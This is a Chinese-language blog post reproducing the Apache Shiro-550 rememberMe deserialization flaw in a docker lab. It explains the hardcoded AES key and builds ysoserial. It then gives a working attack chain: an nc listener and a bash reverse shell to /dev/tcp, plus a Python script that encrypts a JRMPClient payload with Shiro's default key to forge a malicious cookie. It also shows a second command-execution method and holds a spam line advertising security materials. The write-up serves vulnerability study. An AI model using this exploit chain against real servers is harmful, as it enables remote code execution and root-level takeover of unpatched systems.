反序列化漏洞复现总结
前言
最近一直在整理笔记,恰好碰到实习时遇到的 Shiro 反序列化漏洞,本着温故而知新的思想,就照着前辈们的文章好好研究了下,整理整理笔记并发个文章。
1、Apache Shiro 介绍
Apache Shiro 是一个强大且易用的 Java 安全框架,执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
2、Shiro rememberMe 反序列化漏洞(Shiro-550)
2.1 受影响版本
Apache Shiro <=1.2.4
2.2 特征判断
返回包中含有 rememberMe=deleteMe 字段
2.3 漏洞原理
在 Shiro <= 1.2.4 中,反序列化过程中所用到的 AES 加密的 key 是硬编码在源码中,当用户勾选 RememberMe 并登录成功,Shiro 会将用户的 cookie 值序列化,AES 加密,接着 base64 编码后存储在 cookie 的 rememberMe 字段中,服务端收到登录请求后,会对 rememberMe 的 cookie 值进行 base64 解码,接着进行 AES 解密,然后反序列化。由于 AES 加密是对称式加密(key 既能加密数据也能解密数据),所以当攻击者知道了 AES key 后,就能够构造恶意的 rememberMe cookie 值从而触发反序列化漏洞。
3、漏洞复现
3.1 环境搭建
//获取 docker 镜像
docker pull medicean/vulapps:s_shiro_1
//启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>获取<一
3.2 工具准备
3.2.1 配置 maven
1、下载 maven
http://maven.apache.org/download.cgi
2、配置 win10 maven 环境变量以及 idea maven 环境
https://zhuanlan.zhihu.com/p/48831465
3.2.2 下载 ysoserial 工具并打包
下载地址:https://github.com/frohoff/ysoserial
打包完的 ysoserial 在 ysoserial/target 文件中
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
PS:终于打包完了,没想到 Maven 源换成了阿里云的速度还是有点慢。
3.3 漏洞检测
这里使用 shiro_tool.jar 工具检测 Shiro 是否存在默认的 key,
java -jar shiro_tool.jar http://192.168.31.81:8080/
3.4 漏洞利用
3.4.1 方式一:nc 反弹 shell
1、制作反弹 shell 代码
首先,在 kali 中通过 nc 监听本地端口,
nc -lvp 4444
接着利用 Java Runtime 配合 bash 编码,
bash -i >& /dev/tcp/192.168.31.81/4444 0>&1
结果:
2、通过 ysoserial 工具中的 JRMP 监听模块,监听 6666 端口并执行反弹 shell 命令,
3、利用检测出的 AES 密钥,生成 payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == 'main':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
Python2 用 pip 安装 Crypto 的过程中,出现了各种问题,最主要的问题就是各种报缺少 Crypto.Cipher 模块的错误,Google 百度网上找了一大堆,疯狂 pip 安装卸载,都无法解决,后来索性采取了手动安装 Crypto 模块,最后终于解决。
问题一:ImportError: No module named Crypto.Cipher
——>手动下载 Crypto 包进行安装
下载地址:https://pypi.org/simple/pycrypto/
问题二:error: command ‘x86_64-linux-gnu-gcc‘ failed with exit status 1
——>安装依赖库解决:
apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev
使用test_shiro550.py
,生成 payload
python test_shiro550.py 192.168.31.81:6666
4、利用生成的rememberMe
值构造数据包,伪造 cookie,发送请求。
5、查看 nc 监听结果,反弹 shell 成功。
nc 成功反弹 shell,whoami 命令查询为 root 权限。
3.4.2 方式二:命令执行
1、使用 ysoserial 工具生成 poc
2、使用 Shiro 默认 AES Key 对 payload 进行加密
3、brupsuite 抓包,发送带有伪造的 rememberMe Cookie 的请求。
4、查看目标服务器的/tmp 目录,确认生成了 SUCCESS 文件。
5、总结
Shiro-550 漏洞产生的根本原因就是因为 AES 加密的 key 硬编码在源码中,从而可以被攻击者利用泄露的 AES key 伪造 rememberMe 字段生成 cookie 值,导致反序列化漏洞。因此,服务器端对 cookie 值的处理过程反过来就是 payload 的产生过程:命令=>进行序列化=>AES 加密=>base64 编码=>产生 RememberMe Cookie 值。
评论